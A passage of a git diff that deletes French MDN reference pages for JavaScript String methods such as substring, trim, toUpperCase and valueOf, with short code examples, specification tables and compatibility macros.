Les arguments de la méthode substring() représentent les indices de début et de fin sur la chaîne. Pour substr(), les arguments représentent l'indice de début et le nombre de caractères à utiliser pour la chaîne résultante.

- -
var texte = "Mozilla";
-console.log(texte.substring(2,5)); // => "zil"
-console.log(texte.substr(2,3)); // => "zil"
-
- -

Différences entre substring() et slice()

- -

Les méthodes substring() et {{jsxref("String.slice", "slice()")}} sont très proches mais certaines différences les distinguent, notamment la façon de gérer les arguments négatifs.

- -

La méthode substring() échangera les deux arguments si indiceA est supérieur à indiceB et renverra donc une chaîne de caractères. La méthode {{jsxref("String.slice", "slice()")}} n'échange pas les arguments et renvoie donc une chaîne vide si le premier est supérieur au second :

- -
var text = 'Mozilla';
-console.log(text.substring(5, 2)); // => "zil"
-console.log(text.slice(5, 2));     // => ""
-
- -

Si l'un ou l'autre des arguments sont négatifs ou valent NaN, la méthode substring() les traitera comme s'ils valaient 0.

- -
console.log(text.substring(-5, 2)); // => "Mo"
-console.log(text.substring(-5, -2)); // => ""
-
- -

slice() traite également NaN comme 0, mais parcourt la chaîne à partir de la fin lorsque des arguments négatifs sont utilisés.

- -
console.log(text.slice(-5, 2)); // => ""
-console.log(text.slice(-5, -2)); // => "zil"
-
- -

Pour plus d'exemples sur l'utilisation d'arguments négatifs, voir la page {{jsxref("String.slice", "slice()")}}.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.substring")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.substr()")}} {{deprecated_inline}}
    • -
  • {{jsxref("String.prototype.slice()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/sup/index.html b/files/fr/web/javascript/reference/objets_globaux/string/sup/index.html deleted file mode 100644 index f56e0f2a9b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/sup/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: String.prototype.sup() -slug: Web/JavaScript/Reference/Objets_globaux/String/sup -tags: - - Deprecated - - HTML wrapper methods - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/sup ---- -
{{JSRef}} {{deprecated_header}}
- -

La méthode sup() crée un élément HTML {{HTMLElement("sup")}} qui entraîne l'affichage de la chaîne en exposant.

- -

Syntaxe

- -
str.sup()
- -

Valeur de retour

- -

Une chaîne de caractères représentant un élément HTML {{HTMLElement("sup")}}.

- -

Description

- -

La méthode sup encapsule une chaîne dans une balise <sup> :
- "<sup>str</sup>".

- -

Exemples

- -

L'exemple suivant utilise les méthodes {{jsxref("String.prototype.sub()", "sub()")}} et sup pour mettre en forme une chaîne :

- -
var superText = "exposant";
-var subText = "indice";
-
-console.log("Ceci illustre l'affichage d'un texte en " + superText.sup() + ".");
-// Ceci illustre l'affichage d'un texte en <sup>exposant</sup>.
-console.log("Ceci illustre l'affichage d'un texte en " + subText.sub() + ".");
-Ceci illustre l'affichage d'un texte en <sub>indice</sub>.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.sup', 'String.prototype.sup')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.sup', 'String.prototype.sup')}}{{Spec2('ESDraft')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles des navigateurs web.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.sup")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.sub()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tolocalelowercase/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tolocalelowercase/index.html deleted file mode 100644 index 583232b3cf..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/tolocalelowercase/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: String.prototype.toLocaleLowerCase() -slug: Web/JavaScript/Reference/Objets_globaux/String/toLocaleLowerCase -tags: - - Internationalisation - - JavaScript - - Méthode - - Prototype - - Reference - - String - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase ---- -
{{JSRef}}
- -

La méthode toLocaleLowerCase() renvoie la chaîne de caractères qui appelle la méthode en une chaîne de caractères représentées en minuscules, en tenant compte des correspondances de caractères propres aux différentes locales.

- -
{{EmbedInteractiveExample("pages/js/string-tolocalelowercase.html")}}
- - - -

Syntaxe

- -
str.toLocaleLowerCase()
-str.toLocaleLowerCase(locale)
-str.toLocaleLowerCase([locale, locale, ...])
- -

Paramètres

- -
-
locale {{optional_inline}}
-
Ce paramètre indique la locale dans laquelle convertir la chaîne en minuscules en utilisant les correspondances de cette locale. Si plusieurs locales sont fournies au sein d'un tableau, c'est la meilleure locale disponible qui est utilisée. La locale par défaut est celle utilisée par le système hôte.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères obtenue à partir de la chaîne appelante, convertie en minuscules en tenant compte de la locale.

- -

Exceptions

- -

Cette méthode peut lever les exceptions suivantes :

- -
    -
  • {{jsxref("RangeError")}} ("invalid language tag: xx_yy") si l'argument locale ne correspond pas à une balise de langue valide.
    • -
  • {{jsxref("TypeError")}} ("invalid element in locales argument") si un des éléments du tableau passé en argument n'est pas une chaîne de caractères.
    • -
- -

Description

- -

La méthode toLocaleLowerCase() renvoie la valeur de la chaîne de caractères, convertie en minuscules selon les correspondances propres à la la locale. toLocaleLowerCase() ne modifie pas la chaîne d'origine. Dans la plupart des cas, cette méthode produira le même résultat que {{jsxref("String.toLowerCase", "toLowerCase()")}}. En revanche, pour certaines locales, par exemple les locales turques dont les correspondances entre les caractères ne sont pas celles par défaut, prévues par Unicode, cette méthode pourra produire un résultat différent.

- -

Exemples

- -
"ALPHABET".toLocaleLowerCase(); // "alphabet"
-
-"\u0130".toLocaleLowerCase("tr") === "i"; // true
-"\u0130".toLocaleLowerCase("en-US") === "i"; // false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.17', 'String.prototype.toLocaleLowerCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int Draft', '#sup-string.prototype.tolocalelowercase', 'String.prototype.toLocaleLowerCase')}}{{Spec2('ES Int Draft')}}Ajout du paramètre locale dans ES Intl 2017
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.toLocaleLowerCase")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.toLocaleUpperCase()")}}
    • -
  • {{jsxref("String.prototype.toLowerCase()")}}
    • -
  • {{jsxref("String.prototype.toUpperCase()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tolocaleuppercase/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tolocaleuppercase/index.html deleted file mode 100644 index 41e4a41e44..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/tolocaleuppercase/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: String.prototype.toLocaleUpperCase() -slug: Web/JavaScript/Reference/Objets_globaux/String/toLocaleUpperCase -tags: - - Internationalisation - - JavaScript - - Méthode - - Prototype - - Reference - - String - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase ---- -
{{JSRef}}
- -

La méthode toLocaleUpperCase() renvoie la chaîne de caractères qui appelle la méthode en caractères majuscules, selon les correspondances de caractères propres aux différentes locales.

- -
{{EmbedInteractiveExample("pages/js/string-tolocaleuppercase.html")}}
- - - -

Syntaxe

- -
str.toLocaleUpperCase()
-str.toLocaleUpperCase(locale)
-str.toLocaleUpperCase([locale, locale, ...])
- -

Paramètres

- -
-
locale {{optional_inline}}
-
Le paramètre locale indique la locale dans laquelle convertir la chaîne en majuscules afin que la méthode utilise les correspondances de cette locale. Si plusieurs locales sont fournies au sein d'un tableau, la meilleure locale disponible est alors utilisée. La locale par défaut est celle utilisée par le système hôte.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères obtenue en transformant la chaîne de caractères appelante en majuscules et en tenant compte de la locale.

- -

Exceptions

- -

Cette méthode peut lever les exceptions suivantes :

- -
    -
  • {{jsxref("RangeError")}} ("invalid language tag: xx_yy") si l'argument locale ne correspond pas à une balise de langue valide.
    • -
  • {{jsxref("TypeError")}} ("invalid element in locales arguments") si un élément du tableau de locales passé en argument n'est pas une chaîne de caractères.
    • -
- -

Description

- -

La méthode toLocaleUpperCase() renvoie la valeur de la chaîne de caractères, convertie en majuscules selon les correspondances propres à la la locale. toLocaleUpperCase() ne modifie pas la chaîne d'origine. Dans la plupart des cas, cette méthode produira le même résultat que {{jsxref("String.toUpperCase", "toUpperCase()")}}. En revanche, pour certaines locales, par exemple les locales turques dont les correspondances entre les caractères ne sont pas celles par défaut prévue par Unicode, cette méthode pourra produire un résultat différent.

- -

On notera également que la conversion ne repose pas sur une correspondance un à un de chaque caractère. En effet, certains caractères produisent deux (voire plus) caractères lorsqu'ils sont convertis en majuscules. Ainsi, la longueur de la chaîne passée en majuscules peut être différente de la longueur de la chaîne originale. Cela implique que la transformation n'est pas stable, autrement dit, l'instruction suivante pourra renvoyer false : x.toLocaleLowerCase() === x.toLocaleUpperCase().toLocaleLowerCase().

- -

Exemples

- -
"alphabet".toLocaleUpperCase();       // "ALPHABET"
-'Gesäß'.toLocaleUpperCase();          // 'GESÄSS'
-"i\u0307".toLocaleUpperCase("lt-LT"); // "I"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.19', 'String.prototype.toLocaleUpperCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}{{Spec2('ESDraft')}} 
{{SpecName('ES Int Draft', '#sup-string.prototype.tolocaleuppercase', 'String.prototype.toLocaleUpperCase')}}{{Spec2('ES Int Draft')}}Ajout du paramètre locale dans ES Intl 2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.toLocaleUpperCase")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.toLocaleLowerCase()")}}
    • -
  • {{jsxref("String.prototype.toLowerCase()")}}
    • -
  • {{jsxref("String.prototype.toUpperCase()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tolowercase/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tolowercase/index.html deleted file mode 100644 index 22a5b3f34a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/tolowercase/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: String.prototype.toLowerCase() -slug: Web/JavaScript/Reference/Objets_globaux/String/toLowerCase -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase ---- -
{{JSRef}}
- -

La méthode toLowerCase() retourne la chaîne de caractères courante en minuscules.

- -
{{EmbedInteractiveExample("pages/js/string-tolowercase.html")}}
- - - -

Syntaxe

- -
str.toLowerCase()
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères qui est obtenue en passant la chaîne appelante en minuscules.

- -

Description

- -

La méthode toLowerCase() renvoie la valeur de la chaîne convertie en minuscules. toLowerCase() ne modifie pas la valeur de la chaîne courante.

- -

Exemples

- -
console.log( "ALPHABET".toLowerCase() ); // "alphabet"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.toLowerCase")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.toLocaleLowerCase()")}}
    • -
  • {{jsxref("String.prototype.toLocaleUpperCase()")}}
    • -
  • {{jsxref("String.prototype.toUpperCase()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tosource/index.html deleted file mode 100644 index 19b1006e1d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/tosource/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: String.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/String/toSource -tags: - - JavaScript - - Méthode - - Non-standard - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource ---- -
{{JSRef}} {{Non-standard_header}}
- -

La méthode toSource() permet de renvoyer une chaîne de caractères représentant le code source de l'objet.

- -

Syntaxe

- -
String.toSource()
-str.toSource()
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le code source de la chaîne de caractères appelante.

- -

Description

- -

La méthode toSource() renvoie les valeurs suivantes :

- -
    -
  • Pour l'objet natif {{jsxref("String")}}, toSource() renvoie la chaîne de caractère suivante, indiquant que le code source n'est pas disponible : - - 
    function String() {
-    [native code]
-}
-
    -
    • -
  • Pour les instances de {{jsxref("String")}} ou les littéraux de chaînes de caractères, toSource() renvoie une chaîne de caractère représentant le code source.
    • -
- -

Généralement, cette méthode est appelée par du code interne au moteur JavaScript et n'est pas trouvée dans du code JavaScript externe.

- -

Spécifications

- -

Cette méthode ne fait partie d'aucun standard. Elle a été implémentée avec JavaScript 1.3.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.toSource")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/string/tostring/index.html deleted file mode 100644 index ef3618a8b5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/tostring/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: String.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/String/toString -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaine de caractères représentant l'objet renseigné.

- - - -
{{EmbedInteractiveExample("pages/js/string-tostring.html")}}
- -

Syntaxe

- -
str.toString()
- -

Valeur de retour

- -

Une chaîne de caractères représentant la chaîne appelante.

- -

Description

- -

L'objet {{jsxref("String")}} surcharge la méthode toString() de l'objet {{jsxref("Object")}} ; il n'hérite pas de {{jsxref("Object.toString","Object.prototype.toString()")}}. Pour Les objets String, la méthode toString() renvoie une chaine de caractères représentant l'objet, et est similaire à la méthode {{jsxref("String.prototype.valueOf()")}}.

- -

Exemples

- -

L'exemple suivant affiche la valeur textuelle d'un objet  {{jsxref("String")}} :

- -
var x = new String("coucou monde");
-console.log(x.toString()); // affiche "coucou monde"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.5.4.2', 'String.prototype.toString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.tostring', 'String.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.tostring', 'String.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.toString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
  • {{jsxref("String.prototype.valueOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/touppercase/index.html b/files/fr/web/javascript/reference/objets_globaux/string/touppercase/index.html deleted file mode 100644 index 9f456170cf..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/touppercase/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: String.prototype.toUpperCase() -slug: Web/JavaScript/Reference/Objets_globaux/String/toUpperCase -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase ---- -
{{JSRef}}
- -

La méthode toUpperCase() retourne la valeur de la chaîne courante, convertie en majuscules.

- -
{{EmbedInteractiveExample("pages/js/string-touppercase.html")}}
- - - -

Syntaxe

- -
str.toUpperCase()
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères obtenue à partir de la chaîne appelante, passée en majuscules.

- -

Exceptions levées

- -
-
{{jsxref("TypeError")}}
-
Une telle exception sera levée si on appelle cette méthode sur {{jsxref("null")}} ou {{jsxref("undefined")}} (en utilisant Function.prototype.call() par exemple).
-
- -

Description

- -

La méthode toUpperCase() retourne la valeur de la chaîne convertie en majuscules. toUpperCase n'affecte pas la valeur de la chaîne elle-même.

- -

Exemples

- -

Utiliser toUpperCase()

- -
console.log( "alphabet".toUpperCase() ); // "ALPHABET"
- -

Convertir une valeur this en chaîne de caractères

- -

Cette peut être utilisée pour convertir une valeur qui n'est pas une chaîne de caractères lorsque celle-ci est fournie comme valeur this : ​​​​

- -
var obj = {
-  toString: function toString(){
-    return 'abcdef';
-  }
-};
-var a = String.prototype.toUpperCase.call(obj);
-var b = String.prototype.toUpperCase.call(true);
-
-console.log(a); // Affiche 'ABCDEF' dans la console
-console.log(b); // Affiche 'TRUE' dans la console
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.5.4.18', 'String.prototype.toUpperCase')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.toUpperCase")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.toLocaleLowerCase()")}}
    • -
  • {{jsxref("String.prototype.toLocaleUpperCase()")}}
    • -
  • {{jsxref("String.prototype.toLowerCase()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/trim/index.html b/files/fr/web/javascript/reference/objets_globaux/string/trim/index.html deleted file mode 100644 index 963280c9e7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/trim/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: String.prototype.trim() -slug: Web/JavaScript/Reference/Objets_globaux/String/trim -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - String - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/String/Trim ---- -
{{JSRef}}
- -

La méthode trim() permet de retirer les blancs en début et fin de chaîne. Les blancs considérés sont les caractères d'espacement (espace, tabulation, espace insécable, etc.) ainsi que les caractères de fin de ligne (LF, CR, etc.).

- -
{{EmbedInteractiveExample("pages/js/string-trim.html")}}
- - - -

Syntaxe

- -
str.trim()
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères dérivant de la chaîne appelante pour laquelle les blancs ont été retirés aux deux extrémités de la chaîne.

- -

Description

- -

La méthode trim() renvoie la chaîne sans blanc au début et à la fin. La méthode trim() n'affecte pas la valeur de la chaîne courante.

- -

Exemples

- -

L'exemple qui suit affiche la chaîne 'toto' :

- -
var chaîneOriginale = '   toto  ';
-console.log(chaîneOriginale.trim()); // 'toto'
-
-// Un autre exemple de .trim() qui enlève les espaces juste d'un côté
-
-var chaîneOriginale = 'toto    ';
-console.log(chaîneOriginale.trim()); // 'toto'
-
- -

Prothèse d'émulation (polyfill)

- -

Si l'environnement utilisé ne possède pas cette méthode, il est possible de l'émuler avec le fragment de code suivant :

- -
if (!String.prototype.trim) {
-  String.prototype.trim = function () {
-    return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
-  };
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.1.
{{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.trim', 'String.prototype.trim')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.trim")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.trimStart()")}}
    • -
  • {{jsxref("String.prototype.trimEnd()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/trimend/index.html b/files/fr/web/javascript/reference/objets_globaux/string/trimend/index.html deleted file mode 100644 index e85452758d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/trimend/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: String.prototype.trimEnd() -slug: Web/JavaScript/Reference/Objets_globaux/String/trimEnd -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd ---- -
{{JSRef}}
- -

La méthode trimEnd() permet de retirer les blancs situés à la fin d'une chaîne de caractères. trimRight() est un synonyme pour cette méthode.

- -
{{EmbedInteractiveExample("pages/js/string-trimend.html")}}
- - - -

Syntaxe

- -
str.trimEnd();
-str.trimRight();
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères basée sur la chaîne appelante et dont les blancs en fin de chaîne ont été supprimés.

- -

Description

- -

La méthode trimEnd() renvoie la chaîne de caractères sans les blancs présents à partir de la droite de la chaîne. trimEnd() ne modifie pas la chaîne elle-même.

- -

Synonyme

- -

Pour des raisons de cohérence avec les méthodes existantes comme {{jsxref("String.prototype.padEnd")}}, le nom standard de cette méthode est trimEnd. Toutefois, à des fins de compatibilité web, trimRight est un synonyme de trimEnd. Pour certains moteurs JavaScript, on pourra donc avoir :

- -
String.prototype.trimRight.name === "trimEnd";
- -

Exemples

- -

L'exemple qui suit illustre comment afficher la chaîne "   toto":

- -
var str = "   toto  ";
-
-console.log(str.length); // 9
-
-str = str.trimEnd();
-console.log(str.length); // 7
-console.log(str);        // "   toto"
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour String.prototype.{trimStart,trimEnd}Brouillon de niveau 4Attendu pour ES2019
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.trimEnd")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.trim()")}}
    • -
  • {{jsxref("String.prototype.trimStart()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/trimstart/index.html b/files/fr/web/javascript/reference/objets_globaux/string/trimstart/index.html deleted file mode 100644 index 320efbdfd6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/trimstart/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: String.prototype.trimStart() -slug: Web/JavaScript/Reference/Objets_globaux/String/trimStart -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart ---- -
{{JSRef}}
- -

La méthode trimStart() permet de retirer les blancs au début de la chaîne de caractères. trimLeft() est un synonyme pour cette méthode.

- -
{{EmbedInteractiveExample("pages/js/string-trimstart.html")}}
- - - -

Syntaxe

- -
str.trimStart();
-str.trimLeft();
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères dérivant de la chaîne appelante pour laquelle les blancs en début de chaîne ont été retirés.

- -

Description

- -

La méthode trimStart() renvoie la chaîne de caractères dont les blancs à gauche ont été retirés. trimStart ne modifie pas la chaîne elle-même.

- -

Synonyme

- -

Pour des raisons de cohérences avec les méthodes préexistantes (telles que {{jsxref("String.prototype.padStart")}}), le nom standard de cette méthode est trimStart. Toutefois, à des fins de compatibilité web, le nom trimLeft sera gardé comme un synonyme. Pour certains moteurs JavaScript, on pourra donc avoir :

- -
String.prototype.trimLeft.name === "trimStart";
- -

Exemple

- -

L'exemple qui suit illustre comment afficher la chaîne de caractères "toto  " en minuscules :

- -
var str = "   toto  ";
-
-console.log(str.length); // 8
-
-str = str.trimStart();
-console.log(str.length); // 5
-console.log(str);        // "toto  "
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour String.prototype.{trimStart,trimEnd}Brouillon de niveau 4Attendu pour ES2019
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.trimStart")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.trim()")}}
    • -
  • {{jsxref("String.prototype.trimEnd()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/string/valueof/index.html deleted file mode 100644 index 58c9fb66bf..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/valueof/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: String.prototype.valueOf() -slug: Web/JavaScript/Reference/Objets_globaux/String/valueOf -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf ---- -
{{JSRef}}
- -

La méthode valueOf() renvoie la valeur primitive de l'objet {{jsxref("String")}}.

- -
{{EmbedInteractiveExample("pages/js/string-valueof.html")}}
- - - -

Syntaxe

- -
str.valueOf()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente la valeur primitive d'un objet {{jsxref("String")}}.

- -

Description

- -

La méthode valueOf() de String renvoie la valeur primitive de l'objet String sous la forme d'une chaine de caractères. Cette valeur est équivalente à {{jsxref("String.prototype.toString()")}}.

- -

Cette méthode est généralement appelée en interne par JavaScript et non explicitement dans du code.

- -

Exemples

- -
var x = new String("Coucou monde");
-console.log(x.valueOf()); // affiche "Coucou monde"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.5.4.3', 'String.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.valueOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.toString()")}}
    • -
  • {{jsxref("Object.prototype.valueOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/symbol/@@toprimitive/index.html b/files/fr/web/javascript/reference/objets_globaux/symbol/@@toprimitive/index.html deleted file mode 100644 index 0866e25fa6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/symbol/@@toprimitive/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'Symbol.prototype[@@toPrimitive]' -slug: Web/JavaScript/Reference/Objets_globaux/Symbol/@@toPrimitive -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - Symbol -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive ---- -
{{JSRef}}
- -

La méthode [@@toPrimitive]() permet de convertir un objet symbole en une valeur primitive.

- -

Syntaxe

- -
Symbol()[Symbol.toPrimitive](hint);
-
- -

Valeur de retour

- -

La valeur primitive de l'objet {{jsxref("Symbol")}} indiqué.

- -

Description

- -

La méthode [@@toPrimitive]() de {{jsxref("Symbol")}} renvoie la valeur primitive d'un objet Symbol (le résultat sera  donc un symbole au sens primitif). L'argument hint n'est pas utilisé.

- -

